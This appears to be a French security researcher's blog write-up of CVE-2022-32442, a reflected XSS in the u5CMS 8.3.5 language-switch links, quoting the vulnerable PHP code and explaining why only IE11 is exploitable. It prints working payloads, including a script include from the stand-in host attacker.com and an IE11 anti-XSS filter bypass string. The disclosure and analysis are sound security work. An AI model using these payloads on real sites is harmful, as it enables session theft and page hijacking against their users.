CVE-2022-32442

22 Juin 2022

Je vous propose mon analyse de la CVE-2022-32442, qui est une vulnérabilité de type Cross-Site Scripting (XSS) dans le système de gestion de contenu (CMS) nommé u5CMS.

Description

Vendeur : Yuba (https://yuba.ch/)
Produit : u5CMS (https://yuba.ch/index.php?c=u5cms&l=en)
Version(s) impactée(s) : 8.3.5
Type de vulnérabilité : Reflected Cross-Site Scripting (XSS) (CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))

La page d'accueil d'u5CMS en version 8.3.5 est vulnérable à une faille de type Cross-Site Scripting (XSS) réfléchie. La charge peut être être injectée après le caractère ? de l'URL et est réfléchie dans les deux liens HTML permettant le changement de langue.

Analyse de la vulnérabilité

Ce qui suit le caractère ? de l'URL est réfléchie dans l'attribut href du lien <a></a> des deux (autres) choix de langues qu'offre le CMS :

L'injection d'un caractère " visant à s'échapper de l'attribut href afin d'injecter la charge malicieuse "onmouseover='alert(1)'value="&l=fr ne fonctionne pas. En effet, le navigateur encode les caractères spéciaux rendant l'attaque ainsi sans effet :

L'encodage effectué par les navigateurs est le résultat de la bonne implémentation de la section 2.2 de la RFC 1738 (https://datatracker.ietf.org/doc/html/rfc1738#section-2.2) :

Firefox, Chrome ou encore Edge sont des bons élèves et implémentent correctement cette RFC, mais ce n'est pas forcément le cas pour ce bon vieux IE11. En effet ce navigateur n'encode pas les noms et les valeurs des paramètres :

L'exécution d'un script distant est également possible grâce à la payload suivante "><script/src=https://attacker.com/xss.js>&l=fr :

Et ce, même si le filtre anti-XSS d'IE11 semble être bien actif :

Microsoft a annoncé qu'Internet Explorer 11 ne sera plus supporté et progressivement retiré des versions de Windows. Cela peut avoir pour conséquence que les remontées de ce type (ie. exploitable seulement sous IE11) ne soient plus acceptées au sein des programmes de Bug Bounty.

Attention à lire également la partie "Code vulnérable" afin de bien comprendre le fonctionnement de l'attaque et la raison pour laquelle la vulnérabilité est exploitable seulement sous IE11.

Afin de prouver la présence de la XSS réfléchie sur n'importe quel navigateur il est possible de passer par une interception de proxy via Burp (ou autre) :

Code vulnérable

Le fichier index.php va rechercher les motifs {{{motifs}}} dans le fichier htmltemplate.css :

index.php

$template=str_replace('[_logo_]','r/logo/'.def($file_d,$file_e,$file_f).'?t='.filemtime('r/logo/'.def($file_d,$file_e,$file_f)),file_get_contents('r/htmltemplate.css'));
...
$i_i_item=explode('{{{',$template);
for ($i_i_i=0;$i_i_i<count($i_i_item);$i_i_i++) {
   if (strpos($i_i_item[$i_i_i],'}}}')>1) {
      $i_i_part=explode('}}}',$i_i_item[$i_i_i]);

A un certain moment, le motif sera celui concernant l'affichage des liens de changement de langues {{{languages}}} :

htmltemplate.css

<div id="main">
  <div id="header" style="background:url([_logo_]);background-size:cover">
    <div id="metanavi">&nbsp;&nbsp;&nbsp;<a name="search"></a>{{{search}}}
      <div id="languages">{{{languages}}}</div>

Alors, le fichier nommé u5sys.languages.php sera inclus ($i_i_part[0] et aura pour valeur "languages") :

index.php

if (file_exists('u5sys.'.$i_i_part[0].'.php')) include('u5sys.'.$i_i_part[0].'.php');

Ce nouveau fichier va afficher au sein de la page d'accueil les deux liens de changement de langues suivant la valeur contenu dans le paramètre de l'URL l :

u5sys.languages.php

if ($_GET['l']==$lan3na) {
  $lancode=$lan3na;
  $nbsp='';
  if ($lan1name!='' && $lan2name!='') $nbsp='&nbsp;&nbsp;&nbsp;';
  if($u5showlinkofactivelanguageinmetanavi=='yes')$lanswitch='<a href="'.chglang($lan1na).'">'.$lan1name.'</a>'.$nbsp.'<a href="'.chglang($lan2na).'">'.$lan2name.'</a>'.$nbsp.'<a href="'.chglang($lan3na).'">'.$lan3name.'</a>';
  else $lanswitch='<a href="'. chglang($lan1na).'">'.$lan1name.'</a>'.$nbsp.'<a href="'.chglang($lan2na).'">'.$lan2name.'</a>';
}

...

echo $lanswitch;

Il existe en fait trois blocs du même genre en fonction de la langue sélectionnée : "fr", "de" ou "en". L'exemple de code ici correspond à la langue "fr".

La fonction chglang() retourne la variable $u qui prend comme valeur le caractère ? ainsi que ce qui suit dans l'URL (grâce à $_SERVER['QUERY_STRING']) :

chglang.inc.php

function chglang($l) {
  global $lan1na;
  global $lan2na;
  global $lan3na;
  
  $u='?'.$_SERVER['QUERY_STRING'];
  //echo 'query string : ' . $_SERVER['QUERY_STRING'];
  $u=str_replace('l='.$lan1na,'',$u);
  $u=str_replace('l='.$lan2na,'',$u);
  $u=str_replace('l='.$lan3na,'',$u);
  $u=str_replace('l=','',$u);
  $u=($u.'&l='.$l);
  $u=str_replace('&&','&',$u);
  $u=str_replace('?&','?',$u);
  //$u=str_replace('&','&amp;',$u);
  return $u;
}

Les variables $lan1na, $lan2na, $lan3na correspondent respectivement aux chaines "de", "en" et "fr". Elles sont récupérées depuis la table languages en base de données.

Le coupable de la non exploitabilité de la vulnérabilité XSS sur d'autres navigateurs que IE11, à savoir à minima Chrome et Firefox, est la récupération de la valeur de l'URL par la variable $_SERVER['QUERY_STRING']. En effet, les donnée présentes dans l'URL et récupérées via ce procédé sont bien encodées par les navigateurs récents (la situation serait la même si les données étaient récupérées par la variable $_SERVER['REQUEST-URI']) et pas décodé par un composant côté serveur. Ce n'est pas le cas lors d'une récupération des données via la variable $_GET['variable'] par exemple.

globals.inc.php

$sql_a="SELECT * FROM languages";
$result_a=mysql_query($sql_a);
...
$row_a = mysql_fetch_array($result_a);
...
$lan1na=$row_a['lan1na'];
$lan2na=$row_a['lan2na'];
$lan3na=$row_a['lan3na'];

Mise à jour du 10/07/2022

La reproduction du code vulnérable dans un contexte plus simple (hébergé toujours sur la même VM) :

<?php
echo 'a href="example.com' . $_SERVER["QUERY_STRING"] .'">lien</a>';
?>

fait se déclencher la protection anti-XSS d'IE11 :

La cause de cette différence (entre l'environnement utilisé pour le test de u5cms et celui de PoC) n'a pas pu être identifiée mais le contournement suivant <script/%00%00v%00%00>alert(1)</script> semble fonctionner dans le cadre du PoC :

et également sur le CMS vulnérable :

Ressources

PrécédentCVE-2022-32444 Suivant2020

Dernière mise à jour il y a 1 mois